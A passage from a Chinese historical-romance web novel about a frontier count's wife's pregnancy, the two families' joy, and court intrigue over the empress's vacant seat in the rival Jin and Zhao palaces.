赵济世盼着单开一页,开宗立祖。他自己要做老祖宗,要享受了儿孙们的祭祀血食与香火。 那么,就得儿孙满堂啊,不过,问香火哪来? 凭此,赵济世就喜爱了孩子。因为他有一份大大的家业等着孩子继承。 在赵济世心里,他这一份家业不算小。想他小时候,那千盼万盼就盼了一餐饱饭。 如今呢?赵济世觉得他早早实现了自己的幼年愿景。 赵济世心头是骄傲的。因为他拿命去搏,他成功了。 新唐县伯的爵位,这一份大大的家业,那就是赵济世上对得起祖宗,下对得起儿孙的骄傲所在。 “伯爷,夫人,进二门了。”马夫的声音传来。 “我扶妹妹下车。”赵济世这会儿对妻子说道。 “嗯。”万珍珠轻轻应一声。 此时,车帘子掀开,赵济世踩着下马凳,他先下了马车。 尔后,赵济世搀扶了妻子从马车上下来。 “去传府医来。”赵济世瞧着来迎接的大管事,他吩咐一句。 “唯。”大管事赶紧应话。 此时赵济世的心情既开心,又忐忑。开心在于他可能要当爹了。 忐忑在于,这万一不准,咋办? 赵济世带着忐忑不安的复杂心情,他搀扶着妻子一起到了前院的正堂。 一进堂屋内,丫鬟送上茶果点心。这会儿的赵济世和万珍珠这一对夫妻没 心情品茶吃点心果子。 夫妻二人在等了府医的到来。 府医来得快,府医一来便见伯爷与夫人二位行礼问安。 赵济世摆摆手,说道:“大夫不必客气,先替我的夫人请一个平安脉吧。” “唯。”府医应下话。 这会儿的府医赶紧上前,那是替伯夫人请了平安脉。 这会儿的赵济世很专注,他盯着府医的一举一动。 赵济世想赶紧的知道了结果如何。 府医请了一回脉,尔后,又道:“请夫人换一只手腕。” 府医还要再确诊一回。 对此,万珍珠应了,她换了一只手腕子让府医请平安脉。 府医再听脉,再三确认后,府医说道:“恭喜伯爷,贺喜伯爷。夫人这是有喜了,一月半的身孕。” “……”万珍珠抿紧唇,她心头是欢喜。 赵济世一听这话,他当场连道三声好。尔后,赵济世笑道:“大夫诊出喜脉,好事,同喜,同喜。” 说是同喜,赵济世是真的给了一个大大的喜封。 这一回要大大的犒劳一回诊脉的府医。 “大夫,还请你写了孕期的注意事项。我跟前的嬷嬷也得盯着这些要紧处。” 万珍珠跟府医提了话。府医一听,忙是应一回。 万嬷嬷在旁边也跟府医寻问了一二,问道:“殿下怀有身孕,可需要安胎保胎?” “夫人身体康健,不需要吃安胎药。”府医说的肯定。 对于伯夫人跟前的陪嫁,这一直唤了伯夫人“殿下”一事。 节度使府邸的人都清楚。人人都知道的,伯夫人是大晋朝的公主殿下。 对此,在北镇人的心里,这伯爷与公主的成婚,可谓是天造地设的一对,天作之合的良缘。 新唐县伯府。 伯夫人诊出喜脉,此事大喜。于是赵济世开口,还是赏了全府上下。 人人都沾一沾喜气。不止如此,贴身照顾万珍珠这一位伯夫人的。 赵济世又特意加一倍重赏。 赵济世乐得当了散财童子,万珍珠没拒绝。 毕竟在节度使府上当差的人,全是精心挑选过的。 这哪怕不是心腹,也是值得依赖之人。如此情况下,赵济世乐意与大家伙同乐。 万珍珠当然不会拒绝。 洒钱嘛,这洒给自己人,没什么不好的。又不是无缘由的洒钱。 这可是添了子嗣的喜事,大家伙沾一沾喜庆,万珍珠很开心的。 万珍珠这儿挺开心。在节度使府邸里做客的马小莲知道了这一个喜讯。 马小莲也来道喜。 “恭喜赵大哥,恭喜嫂嫂。”马小莲来道喜,还带了自己贺礼。 “我早盼着赵大哥和嫂嫂添了侄子侄女。这不,我早早做了些小衣裳与虎头鞋,如今,可算是派上了用场。” 马小莲送了自己备的礼物,亲手做的,这很用心。 哪怕是料子,也是上等的好料子。还是赵大哥和嫂嫂给马小莲的补贴好料子。 马小莲没有做了新衣裳。这不,全留了满意的,一一做成了给小辈的贺礼。 “二妹妹有心了。”万珍珠瞧着虎头鞋,还有小衣裳等等。 万珍珠很感动,这一针一线,那全是心意。 对于别人的真心实意的好,万珍珠一直是记了心上的。 别人的好给了,万珍珠受用了,那就得有来有往嘛。 北镇的新唐县伯府里,这气氛甚好的。全府上下欢腾一片。 大晋朝,镐京都,皇宫,泰一宫。 明明新一年,洪福帝的身子骨却是突然坏了。 万忠良在宫里当差,他的心情也是紧张许多。 洪福帝最近不在意自己的龙体如何。这一位更在意了三皇子。 万忠良得了帝王的吩咐,一直盯紧了三皇子跟前的一举一动。 帝王对于三皇子的维护,那盯得跟眼珠子一样的要紧。 “大伴。”洪福帝留了心腹在龙榻前。 “陛下,您请吩咐。”万忠良的态度一直是恭敬的,赤诚的。 至少对于洪福帝是如此的。 “大伴,朕是难熬了。”洪福帝讲几句,又咳嗽一回。 “陛下,您不过一时小恙。待太医仔细调理,您一定会健康平安。”万忠良说着他自己可能愿意相信的话语。 “大伴,太医的医术嘛,也便是那样。”洪福帝坦然的说道:“医者治凡人,治俗病,却治不了寿数。” “古来帝王,难得长寿。”洪福帝也盼着长寿。 可青史明鉴,这帝王活得长久的,那是少之又少。 洪福帝想得开些,也是让自己这一位帝王不必太难受。 同时,洪福帝也有在意的,那便是一旦他驾崩了。这祖宗基业托于谁? “……”万忠良听着帝王之言,一时沉默。 “大伴,朕将皇子托付于你。你要替朕一直护好他。”洪福帝讲道。 “陛下待奴才恩重如山,奴才便是粉身碎骨,也一定护了小主子的周全。”万忠良忙表决心。 其时不是嘴皮子的功夫,万忠良一直是护了天子的子嗣。 “大伴忠心,朕是相信的。”洪福帝笑道:“当年,还是大伴提醒朕,让朕抚育了皇子于泰和宫里。” “这些年里,朕也瞧出来了。泰和宫抚育皇子,也是对的。”洪福帝对于一些事情,那不是不知道。 知道又如何?有些过往,已经过去。毕竟物事人非。 好些人都不在了。再追究,也不过是虚妄。 毕竟活人又能拿死人有什么办法呢。 洪福帝只能想开点,他膝下有皇子。他便是驾崩,那江山社稷还是留给亲儿子的。 他的身后事,那有亲儿子祭祀了血食与香火。 只洪福帝不放心的,便是年幼的皇子登基,那很难。 做为少年天子的洪福帝太有体会了。 那些做傀儡的旧日,洪福帝一直是不乐意回忆的。 洪福帝跟万大伴拉一拉感情。话至浓处。洪福帝又道:“大伴,朕准备追封贤妃为皇后。” “立嫡立长,小主子是陛下的骨血。这自然要尽善尽美。陛下深思,一片慈父心怀。”万忠良夸了天子。 总之翻来覆去,想法子的寻了话头夸一夸洪福帝追封了一位王皇后的做法,那太对了。 反正一个死人,万忠良不会计较什么的。这王皇后又不可能从棺椁里跳出来。 如此的话,洪福帝想追封就追封,万忠良一定赞同。 至于跟帝王忤逆了心思,万忠良从来不会。 大晋洪福十八年,一开年,一场大事发生。 洪福帝降了圣旨,追封三皇子生母,原王贤妃为中宫皇后。 既然是中宫皇后,还是过逝了的皇后,这当然得有溢号。 王贤妃被追封为仪贤皇后。 皇宫,宫廷内苑。 淑阳公主很不开心,因为仪贤皇后的出现。 淑阳公主曾经有一点小小的念想。万一,她做了三皇子的养母呢。 这人嘛,只要胆够大,只要敢想了。万一成功了,那不是一本万利。 淑阳公主也想过了,那是做了太妃,又哪有做了太后好。 可惜,淑阳公主想得再好,她的手中筹码太少。 如今的局势已经明朗,三皇子一旦上位,那真正受了影响会荣耀的人,一定是荣恩伯府的一族人。 至于淑阳公主,一旦洪福帝不在了。淑阳公就是先帝的嫔妃。 那地位会一落千丈。 “菩萨保佑,愿天子长命百岁。”如果可以的话,淑阳公主真恨不能她的膝下有皇子。 可惜,想像很美好,现实很残酷。 淑阳公主的想念,一点也没可能实现的法子。因为洪福帝不允许。 宫廷内苑,三皇子的前程不可限量。要说,这些嫔妃们心生忐忑不安。 同样有人也不开心。 沁阳公主在宫廷里的日子,那是平平淡淡。 或者说沁阳公主活得很小心谨慎。 因为在魏皇后薨逝后,沁阳公主就是真正的长大了。 对于沁阳公主而言,在没了生母的那一刻,她不得不快快的长大。 父皇嘛,可能疼爱她这一个亲生的女儿。 可在父皇的心里,弟弟三皇子更重要。因为天家的皇位,那是弟弟的。 沁阳公主的人生,将来的显贵如何,可能,不,应该是一定会看了弟弟的脸色。 对此,沁阳公主心头有一种莫名的不甘心。 对于母后的挣扎,对于外祖家的挣扎,沁阳公主哪怕当初年少,她也有耳闻。 沁阳公主觉得她长大了,她得有一点点的追求。 至于具体如何?沁阳公主一时半会儿的,她还要琢磨琢磨。 大赵朝,北镇。 万珍珠接到了几千里之外的家书。她见到了信中爹娘的喜乐。 那信中,那笔间,一言一语尽是爹娘的欢喜与近况。 万珍珠读了家书,看了一遍又一遍。尔后,才是不舍的搁下了家书。 赵济世从妻子手中接过,也是粗略的阅读一回。 “不曾想,大晋皇宫也是诡谲万分。”赵济世感慨一回。 “嗯……”万珍珠轻轻的应一声。 可万珍珠的心头,她还在疑惑了。亲爹信中讲了一事。 这一事让万珍珠很在意。 那便是洪福帝龙体欠安,这一位帝王在为后事铺路,在替三皇子铺路。 可这,怎么可能呢? 万珍珠记得,前世的记 忆里,洪福帝可不是这般短命啊。 这里面的变数在哪? 万珍珠思来想去,她只想到了一个人物。朱三姑娘,朱凤曦。 万珍珠自己偶尔发一发小疯,那是随心所欲的行事。 万珍珠思来想去,她能想到的,那便是谁动手脚? 唯朱凤曦一人。那很可疑的。 岁月流转,若是翻了旧页。 那一年,朱凤曦还是朱充仪,不曾被追封为朱淑妃。彼时,四皇子还活着。 那会儿的朱凤曦病着,在大晋朝的宫廷内苑里。 朱凤曦感受着自己的生机在慢慢的熬干。 那一种等死的感觉很熬人。 “我要死了吗?”朱凤曦望着窗外的阳光,明明咫尺,却隔天涯。 朱凤曦已经不能起身了,她感受到了,她在一步一步的逼近了死亡。 这些年里,朱凤曦挣扎过。 可挣扎而来的结果,不尽如人意。朱凤曦在生命的最后时刻。 她只有一个念头,她不甘心。 “真不甘心啊。”朱凤曦握紧了拳头,她真的不甘心平平淡淡的死去。 朱凤曦也想长命百岁,也想健康长寿。 谁是敌人?谁是凶手。 究竟是谁在谋害于她。这一番答案,对于快要死了的朱凤曦而言,她寻不得,也寻不到。 那么,本着宁杀错,不放过的原则。 朱凤曦拿了全部的家底,她收揽了这些年的人心。 朱凤曦也是有信任的人。 在她死后,这些人会不会替她复仇,她不在意了。 反正眼睛一闭,她也不知道情况会如何。 朱凤曦只是想着,她死后,又哪管洪水滔天。 “咳,咳咳……”朱凤曦咳了一回,咳的利害。 在死之前,朱凤曦只是圈了目标。 后宫嫔妃们的争锋,下黑手,下死人。不外乎求了帝王恩宠。 那么,针对嫔妃吗?当然要。 可不止针对了嫔妃,朱凤曦的恨意还是冲着洪福帝而去。 四皇子是朱凤曦唯一的子嗣,那么,朱凤曦对于三皇子的生母王贤妃也恨了。 如果可能的话,朱凤曦不想黄泉寂寞,她还想拉了王贤妃一起陪葬的。 同时,若是洪福帝也是早一点驾崩,未曾不美。 朱凤曦在死前,她干的事情不多。针对皇嗣太难了。 朱凤曦这些年也发现了,万忠良这一位万内相在护了皇嗣。 护的好叫一个紧张。哪怕是四皇子身边,也有这一位万内相的人在护着。 如此,为了亲儿子四皇子计较,朱凤曦不打算把手伸向了三皇子。 三皇子一介幼儿,朱凤曦饶了。 那么,嫔妃里,王贤妃的名字就被朱凤曦在心里狠狠的画了一个圈圈。 洪福帝嘛,朱凤曦能做的不多。不过是试一试,成不成的,朱凤曦不抱有大希望。 可能阴差阳错,又可能是上苍不佑。洪福帝中招了。 莫名的阴招,还是不显山不露水的让帝王短命了。 至于这些暗地里的勾当,在朱凤曦这一位朱淑妃殁了后,早成了沉封的旧事。 如风吹逝,不见踪影。 第73章 大赵朝,燕京都,皇宫,泰一宫。 承顺帝李明弘在看北镇新唐县伯赵济世的奏本。 对于这一位心腹,承顺帝是信任的。主要是赵济世很识实务。 在帝王需要的时候,那是默默的退一步,离开了燕京都这等繁华地,去了北镇边疆。 对于应该干事时,又会冲劲实足的赵济世,承顺帝记忆犹新。 在应该功成身退,那是老实的退一步时,赵济世又是识实务的退一步。 这等心腹让皇帝很满意。毕竟这等不揽功的臣子,那是好臣子。 文武疏途,这等道理不是谁都懂。 朝堂上,有些人侍功而骄,一切落在承顺帝的眼中。 帝王心头有计较。 对,承顺帝对于舅舅和姨丈等人,那是不满意很久了。 特别是这些人想往皇宫里塞女眷时,承顺帝更不满意。 对于何国舅的态度,承顺帝一直很热络。当然这是表面上的。 在心里面,承顺帝一直在观察。 承顺帝发现,他这一位帝王还是耐得住繁华,那是盼着收获更多。 可惜,不管是何国舅,又或者着宁国公等等,这些因为承顺帝而富贵的显贵们。 他们貌似耐不住寂寥的。他们还想更进一步。 承顺帝一直有心收揽更多的兵权。这不是嘴皮子的功夫就成。 皇帝也得办一点实事。 “胡人胆大,可恶。”承顺帝对于奏本中,新唐县伯奏明北疆胡人新动向时,帝王骂了这一句。 这话,也是表明了帝王的态度。承顺帝一直想打一打胡人。 或者说一直有暗中的举动,只是没摆在台面上。 借此,承顺帝想干一点事情。这干成前,当然不能嚷嚷一番。 赵济世就是替帝王奔走的鹰犬,他当然一直按着帝王的心意行事。 免不得里面有自己的小心思,可只要不坏了大局,在帝王眼中,那就是好臣子。 “去,传了中枢六部各大臣。”承顺帝吩咐一声跟前的心腹太监全公公。 “朕要跟爱卿们议一议军务大事。”承顺帝一声吩咐,总领太监忙应话。 这会儿的帝王搁下手中的奏本。承顺帝心头有计较。 当然,话头也好起。北疆安危,还是一劳永逸为好。 这一回也不算没由头。 赵济世这一位在北镇的节度使,那上了奏本。 赵济世一心请奏。 赵济世给帝王当了先锋,帝王当然要借一借机会。 待大胜,借机再收揽一二兵权。 承顺帝不介意借着大胜,又是封赏一回。 拿回兵权,赏了下属,彼此都有收获。此为双赢。 当然是承顺帝赢两回。 大赵,皇宫,宫廷内苑。 凤仪宫。 皇后也在跟心腹嬷嬷商量事情。她吩咐道:“昨个陛下歇了凤仪宫,还与本宫商量了妹妹的事情。” 大赵皇后提一嘴的妹妹,当然是去大晋和亲的同胞妹妹淑阳公主。 “大晋天子中宫虚悬。陛下有意,与大晋真成秦晋之好。淑阳妹妹区区的贵妃之位,太寒碜了。” 大赵皇后这话说的唏嘘。真是感慨的很。 毕竟在大赵皇后心里,堂堂正正的大赵公主只做了大晋天子的贵妃。 这太埋汰人了。 奈何大晋与大赵早有盟友。或者说当年在盟约,大赵朝还是落下风的一方。 大晋的武力,大赵朝是见识过。 这武力上落了下风,在脸面,那免不得就是要寒碜一些。 如今的承顺帝又想挣了脸面。这亲妹妹做了大晋皇后,那又不同。 至少体面上好看些。这不,大赵朝准备派了使节去大晋朝。 有些事情还是要活动活动。关于万内相的门路,大赵天子差的使节也要走一走门路。 要知道大晋天子的心腹,万内相的亲闺女还是大赵朝的新唐县伯夫人。 这里面的关系复杂着。 有大赵天子承顺帝的一番吩咐,他的嫡妻,中宫皇后当然得依了帝王的心意办事。 “皇后娘娘请宽心,应该备的贺礼,已经一一备好。只待皇后娘娘查阅了礼单子 。“陪嫁嬷嬷忙回话道。 “礼单子,本宫确实要仔细的瞧一瞧。”皇后点头应允。 “这事情可不能含糊了。”皇后心头自有计较的。 大晋朝,镐京都,内城,浑江公主府。 牛二囡听着夫君念了家书。从北镇而来,这家书千里万里,来的不容易。 牛二囡一听着夫君念了最新的消息,她打断了夫君万忠良的话语。 “珍珠怀孕了,太好了,祖宗保佑。”牛二囡是双手合十,她念念有词。 对于牛二囡而言,她盼着女儿有喜,这是盼了太久。 如今一朝成真,牛二囡只有高兴的份。 “对,孩子有喜,今年,咱夫妻二人也是能见着孙辈降生。”万忠良笑着回话道。 对于万忠良而言,一接着家书,一读过这喜讯时。 万忠良也是高兴的很。 “那得赶紧的备了礼物。不止给珍珠,还要给珍珠肚子里的孩子。”牛二囡当了外祖母。 这做长辈的心思,那是千盼万盼,总算是盼来小宝贝。 这不,往常早备着的礼,那还得往北镇送去。 不止如此,牛二囡还要再多添了一份又一份的贺礼。 毕竟落牛二囡的心底,自家的家财,那全留给孩子的。 早早晚晚,早给是给,晚给还是给。还不如早给呢。 牛二囡一番开心。万忠良附合一回。他不拒绝了妻子对于钱财等等的大搬家。 反正搬来搬去,也是搬给自家的孩子。 对于万忠良而言,他挣一个诺大的家业,那都是留给儿孙的。 不留给儿孙,还能留给谁? “你高兴就好,随你整理。反正送礼时,咱大不了多差一些护送的侍从。”万忠良表示,有多少的贺礼都成。 送礼的马车,送行的护从,万忠良表示一点不缺。 牛二囡开心,她是寻着要办的事情。 万忠良这儿还是打断了妻子的一时高兴。他道:“这家书还未读完呢,要不要继续听?” “要,要。”牛二囡笑道:“先听完了珍珠写的家书,这备贺礼的事情,不急。我可得仔细的琢磨琢磨。” 牛二囡一心听一听家书的后续。 待听罢了,牛二囡不开心。她说道:“女婿有政务军务,不可能常留北镇。这……” 牛二囡说道:“那不是珍珠怀孕时,女婿还不在身边?” 牛二囡不开心。她替女儿不开心。 万忠良倒是坦然,他说道:“新唐县伯府也是家大业大,女婿当然是事业为重。” “再说,女婿忙碌一辈子,挣一个诺大家业。那还是咱们的孙辈继承。”万忠良想得开。 “好男儿走四方,窝于一处,岂是英雄人物。”万忠良劝一回妻子。 “当初珍珠嫁给女婿前,她就应该有了准备。想女婿从一介寒微,再奋斗至伯爷。这里面的辛苦自不必说。那一等狠劲儿,也肯定是利害的很。” 万忠良的眼中,女婿是一个人物。 不为旁的,只万忠良自己也是从底层爬上来的。 想当年,哪怕是做了小黄门,想在太监堆里往上爬。万忠良也是付出良多。 不拿命去赌,没可能有机会的。 而且赌了,还得赌赢。赌输了,那就是命没了。 在宫廷里,万忠良是见识过的。那等赌输之人的下场。 宫廷内苑,那些嫔妃们的争斗也是。万忠良可能开了后门,可能添了柴火。 但是,这些人自己的争斗,那是她们自个乐意走入局里。 最繁华处,至高的皇权近旁。宫廷内苑一样,也是一个人吃人的地方。 真想清白留人间,那就去死。 唯此,带着一门子的清高去死,那才是清白留人间吗? 不,那是埋土里。 反正就万忠良瞧见的,只要做了赢家的。在皇权旁,谁都不是干净人。 谁的手里都是双手血腥味,洗,那是洗不掉的。都已经腌进了灵魂深处。 不过是有人装了表面功夫,那是装着一派慈悲。 有人嘛,那是懒得装罢了。 大赵朝,北镇,节度使府邸。 万珍珠在花园子散步。春日,百花盛开。 哪怕在北镇,也是瞧着花开朵朵,花香袅袅。 “嫂嫂,你肚子里的侄子乖吗?”马小莲笑问道。 这会儿的马小莲是搀扶了万珍珠散步。 哪怕万珍珠拒绝了,可马小莲坚持。 在马小莲的眼中,嫂嫂肚子里的侄子侄女,这太要紧了。 “这孩子没降生,是男是女,尚不知可。二妹妹,这万一是侄女呢?”万珍珠打趣一回。 对于是儿是女?万珍珠不介意。反正是亲骨肉,万珍珠一样爱。 至于枕边人吗?万珍珠已经吹过风声,赵济世表示理解。 用赵济世的话讲,他的女儿,那也是北镇明珠。 在亲爹眼里,也是掌上宝贝,一样得着爹娘的疼爱。 “嗯……”马小莲笑道:“先开花,后结果,一切是好事儿。” “我觉得甭管嫂嫂这一回是生了一个小侄儿,还是一个小侄女,都好。我可是要做了姑母的。” 马小莲说话时,她是开开心心的情绪。 在节度使府邸住久了。当初说小住,如今,得了嫂嫂和赵大哥的话。 马小莲还得继续住下去。当然,这也是燕京都里哥哥马义和嫂嫂沈氏的意思。 谁让大嫂嫂万氏怀孕了,马小莲这做妹妹的,那得留了节度使府邸里,一道帮衬了嫂嫂万氏一二。 特别是嫂嫂万氏,这是长嫂如母。燕京都的亲哥马义还是把马小莲的婚事,那也托给赵济世夫妻二人。 这不,马小莲小住变长住,这是有理由了。 对此,赵济世也罢,万珍珠也罢,二人皆是同意的。 赵济世是觉得马小莲是他的二妹妹,兄长帮衬妹妹,这天经地义。 至于万珍珠这儿? 万珍珠由于在这些日子接触下来,她发现马小莲挺单纯的。 有话说话,这孩子一眼能望明白。 比起万珍珠来,马小莲更是爱憎分明的一个人。 待人好时,那也是信任的很。 对于一个乐意信她的人,万珍珠很珍惜。 这一日,晚间。 夫妻二人歇下前,赵济世跟妻子又讲了一二事。 “朝堂有旨意,燕京都会大军开拔。”赵济世也会跟枕边人说一说朝堂事宜。 对于赵济世而言,妻子不止是妻子,还是信任之人。 有些事情赵济世是不会瞒了万珍珠的。 “这一回陛下会亲征,朝堂上已经有定论了。”赵济世这话一出。 万珍珠很惊住一回。 “各大臣能同意了陛下亲征?”万珍珠问道。 “自然是反对声不断。可陛下心意已定。”赵济世讲道。 “千金之子,坐不垂堂。陛下亲征,可不是儿戏啊。”万珍珠太了解,在古代帝王亲征从来不是小事。 “这事情当然不是小事。奈何陛下有一番计较。”赵济世揽了妻子在怀中。 赵济世细细的说一说旧事。 从枕边人的嘴里,万珍珠知道了。枕边人会乐意回了北镇。 不止是退一步那么简单。这未尝不是有帝王的谋划。 “胡人与中原人,马背上的游牧之辈与农耕者。这两者不同的。”万珍珠说道:“那游牧之辈,居无定所。哪是容易抓住尾巴的。” “济世哥哥,从昭昭青史看,多少时候中原人跟胡人打交道,也没有收获到全功。纯粹是胡人跑得太快。” 这是万珍珠的实话。 历史上就是如此,为何胡人难打?不在于打的问题上。 而是在于抓都抓不住,拿什么打?打空气嘛。 “这一回不一样。”赵济世说的肯定。 “胡人之内,有人做向导。朝廷不过是顺势而为。到时候……”赵济世话至此停顿一下。 赵济世还是跟妻子又嘀咕几句。 这一回万珍珠听懂了。朝廷是有把握的。特别是枕边人这里,那更是把握十足。 “如此,我倒盼着济世哥哥立了大功劳,济世哥哥一定马到功成,名垂青史。” “哈哈哈……”赵济世高 兴一回。 “在青史之上留一笔,此生足矣。”对于赵济世而言,若能功成,他当然是满足的。 甭管这记一笔是多少墨字。只要留了一笔,赵济世就高兴的很。 “只一件事情,我想与济世哥哥商量一二。”万珍珠又提一事。 万珍珠要提的事情,那当然是北镇商社的事情。 同时,还有便是万珍珠的亲爹,万忠良给留的一些人手。 那些人不止效忠于万忠良,如今是效忠于万珍珠。 他们是有真本事的人,同时,还有万忠良的活命之恩。 于万珍珠而言,这些人可以信任。 而且,这还是亲爹给留的好手,那是培养太久了。 如今万珍珠就想着塞了夫君的跟前。 “他们多是好汉子,有一身的本事。我琢磨着,我留了他们在跟前使唤,也是太埋汰人。” 万珍珠觉得自己的产业,也便是走商行商。 这用了二流三流的人才即可。一等好手,真没必要。 太浪费了人才。 于是万珍珠就想着,那塞给夫君。让夫君这里使唤了。 也算是给了那些好手们机会。 往上爬的机会,当然随人意。乐意搏一回的,万珍珠给机会。 愿意守着平静日子渡日的,万珍珠也不强求。 万珍珠从来是愿者上勾。 “好。”对于妻子的请求,赵济世不拒绝。 只要是好手,赵济世从来是乐意接受的。 原由很简单,赵济世是刀口上吃饭的人。战场上的自己人越多越好。 至于是不是庸人,这不是嘴皮子的功夫。 一旦到战场上,谁行,谁不行。那是一目了然。 因为庸人,注定会被淘汰掉的。 在战场上,拿命搏的时候,一旦被淘汰了,那下场九成九就是一个死字结局。 在万珍珠的心底,给枕边人送了心腹好手。 不是什么坏心眼儿。 万珍珠是真的一片好心,当然,也不可否认的。 万珍珠想跟夫君并肩而行。 万珍珠不会只当了内宅的妇人,她的眼界,也是想望一望外面的世界。 那么,自己的心腹各处塞一塞,就很有必要。 因为这些心腹与万珍珠的利益是一致的。 他们是站在一个立场上。 这立场嘛,那就很重要的。万珍珠很在意。因为她当了母亲。 一个当了母亲的女人,总会想着给儿女留了更多的退路,更多的选择。 用老话讲,就是把朋友搞得多多的,把敌人搞得少少的。 最好是团结了大多数的人。 那么,就可以更从容的前行,更容易摘取了胜利的果子。 大晋朝,镐京都,皇宫,职房。 万忠良听着干儿子的禀话,只是听一听,尔后,挥挥手,示意干儿子退下。 万忠良最近挺风光。不止朝堂上有人想巴结。 便是大赵朝的使节来,还是拜会了浑江公主府。 厚礼送上,不提多少要求。 可这不提了要求,不代表没了暗示。 万忠良有自己的一本帐,这不,万忠良把大赵使节送的礼单子拿着。 尔后,万忠良就是呈给了洪福帝。 洪福帝养一养身子骨,如今瞧着有二分起色。 到底还是空耗了根基。 洪福帝的眉眼间,还是疲乏之色显现。 “这是谁人赠礼?”洪福帝问了大伴。 “禀陛下,这是大赵使节送给奴才的赠礼。奴才不敢擅专,特意禀明陛下。请您示意。” 万忠良的一颗忠心,那从来是向着洪福帝。 “朕瞧瞧。”洪福帝拿过礼单子,还是大略瞧一回。 “好手笔,大手笔。”洪福帝也是感慨一回。 “大伴,若朕不同意了,你这不是要破一注大财。真舍得?”洪福帝笑问道。 “奴才一切,全由陛下恩赏。”万忠良的态度一如既往。 “陛下的吩咐,奴才觉得一定有道理。如果奴才没想明白,那就是奴才太笨。再多想想,办事,还一定得按了陛下的吩咐办。” 万忠良躬身回话,态度是坦坦荡荡。 “收下吧。既然是大赵的好意,岂能拒绝?”洪福帝让万忠良收下来大赵使节的赠礼。 “礼上了,对方可有所求?”洪福帝问道。 “有。”万忠良回的肯定。 “礼下于人,必有所求。”万忠良回道:“使节暗示一二,说中宫虚悬,贵妃娘娘雅量无双,宽仁恢宏,可为良配。” “……”洪福帝沉默了。 洪福帝的中宫虚悬,这觊觎的人太多。朝堂里,多少大臣为中宫皇后的位置,那是上了奏本。 可洪福帝全压着。 洪福帝是追封了一位仪贤皇后。那又如何,仪贤皇后人殁了。 这中宫的位置还空虚着。当然就有人想了投资一遭。 宫廷内苑,有人动心,实属于正常。 不过洪福帝没想到,几千里之外,燕京都的承顺帝也是递了梯子来。 “贵妃……”洪福帝念叨一回。 “这事情朕再琢磨一回。”洪福帝的态度很含糊。他没有拒绝的态度。 万忠良一瞧这态度,他太懂了。 “陛下,您是考虑了贵妃娘娘吗?”万忠良问道。 “陛下,如此的话,贵妃娘娘那儿可是再添了三分恩遇?”万忠良请示了帝王。 “一切如旧,真有更改,朕会吩咐。”洪福帝说道。 “唯。”万忠良赶紧应话。 可应话归应话。万忠良事后,还是给了干儿子一二的示意。 这等示意,宫廷内苑里的淑阳公主是瞧见了。 或者说不是淑阳公主瞧见了。而是她的陪嫁李嬷嬷有发现。 这不,李嬷嬷赶紧的禀话给淑阳公主。 “哦,这是有人来烧了本宫这冷灶。”淑阳公主也见过大赵使节。还得了亲兄长承顺帝的家书。 如此,淑阳公主当然知道了,承顺帝盼着淑阳公主在大晋天子的后宫再进一步。 为了进这一步,淑阳公主早前是有努力的。 只洪福帝追封了仪贤皇后一事,那让淑阳公主失落好久。 如今亲兄长承顺帝又来信,还给了支持。 这不,又让淑阳公主是支棱了起来。 “这般说来,有人看好本宫啊。”淑阳公主是高兴。 这不怕有人来攀附。 而不是一旦自己一边连攀附之人都没有,那才会让淑阳公主失望的很。 毕竟有人看好,就说明淑阳公主有机会。 只要有机会,淑阳公主当然会努力一回。毕竟妃子与中宫皇后,这里面的门道差距,那可太大了。 大的足见鸿沟,难以填平。 第74章 大赵朝,北镇,节度使府邸。 万珍珠收到了爹娘寄的礼物,不止给她的,还有给腹中孩子的。 这会儿万珍珠在拆礼物,亲自拆了礼物更有气氛感觉。 赵济世坐在旁边陪着妻子进行这般温馨的家庭事宜。 能在家里的日子一天少过一天,赵济世真的很想多陪一陪妻子,还有妻子腹中的孩子。 “珍珠妹妹,瞧瞧,这些全是爹娘的心意。”赵济世笑道:“样样都好,哪一样都是爹娘用心挑的。” “等孩子降生,这小衣裳等等,也能给小孩儿用上。”赵济世瞧着巴掌大的衣裳。 或者说万珍珠手头拿着的是两个巴掌大小 。 不止如此,万珍珠又拆了礼物,尔后,又有好些的小衣裳。 从小到大,各色都有。真可谓是让小孩子穿了,一年四季,哪里穿戴得完。 “这些小衣裳,我瞧着从出生到六岁正式进学起蒙,那也是尽够了。”万珍珠瞧着一堆的衣裳。 万珍珠替腹中的孩子感受一回浓浓的祖父祖母的爱意。 “瞧瞧,颜色不同,绣样也不一样。不管是男娃娃,还是女娃娃,这都不会缺着衣裳穿。”万珍珠感慨一回。 “爹娘的一番心意,我们替孩子领了便是。”赵济世笑道。 “暂且收下,待孩子懂事了,可得讲讲。让孩子也知道了祖父祖母对小辈的疼爱。”万珍珠的嘴角含了一抹的笑意。 赵济世陪着妻子拆了礼物。因为今个高兴。 待午饭时,万珍珠还是多用一小碗。 怀孕了,食饭香。为止,赵济世在府里时,他是乐意陪着妻子散散步。 散步,消食,也是适量的运动嘛。对此,夫妻二人有默契。 赵济世搀扶着妻子,二人在花园里散步。 “我这一去,要许久时日。”赵济世在离开前,他能尽量抽了时间,那就多陪一陪妻儿。 “济世哥哥忙碌正事,我和孩子盼你平安无恙。”万珍珠握紧了赵济世的手。 “济世哥哥,你做任何事情,我总会站你一边。我跟爹爹一样,从来是帮亲不帮理。”万珍珠笑颜如花。 “只济世哥哥答应我一事,你得平安,平安归来。我和孩子的将来,如何都少得济世哥哥。孩子可是等你这做爹的教导呢。” 万珍珠温言细语。 “好,我答应珍珠妹妹,在将来,一定要好好的教导我们的孩子。”赵济世对于当严父也罢,慈父也罢,不很执着。 在他眼里,这不要紧,要紧的是孩子一定得教育好。毕竟他家有伯爵之位等着长子继承。 至于说长子这后,又有次子如何办?赵济世觉得他多辛苦几番,多挣一些家业。 哪怕多生几个孩子,只要家业够大,也尽够孩子们分一分,继承一二的。 当爹了,赵济世对于奋斗家业这一回事情,那更有冲劲头。 往常那是心头有一口气,气不平。赵济世是想搏一个人上人的位置。 等着当爹了,气平了。可赵济世更想奋斗了。 祖谱单开一页,将来做了儿孙们的老祖宗。 那要享受了儿孙们的香火祭祀与血食。 赵济世就想着自己的儿孙可要长久的富贵下见。 没有法子,赵济世的心结就这样。 这一辈子好了,自然想着儿孙们更好。一辈更比一辈强。 “盼这孩子平安无恙。”赵济世一边搀扶了妻子,又伸了另一手,还是轻轻的抚一抚妻子的小腹。 赵济世语气温柔。他笑道:“我心欢喜,珍珠妹妹,我们的血脉一旦降生,甭管是男娃,还是女娃,孩子一定会很聪慧的。” “似你,似我,挑着我们的优点长着。”赵济世对于小孩子的降生,那抱着一股子畅想。 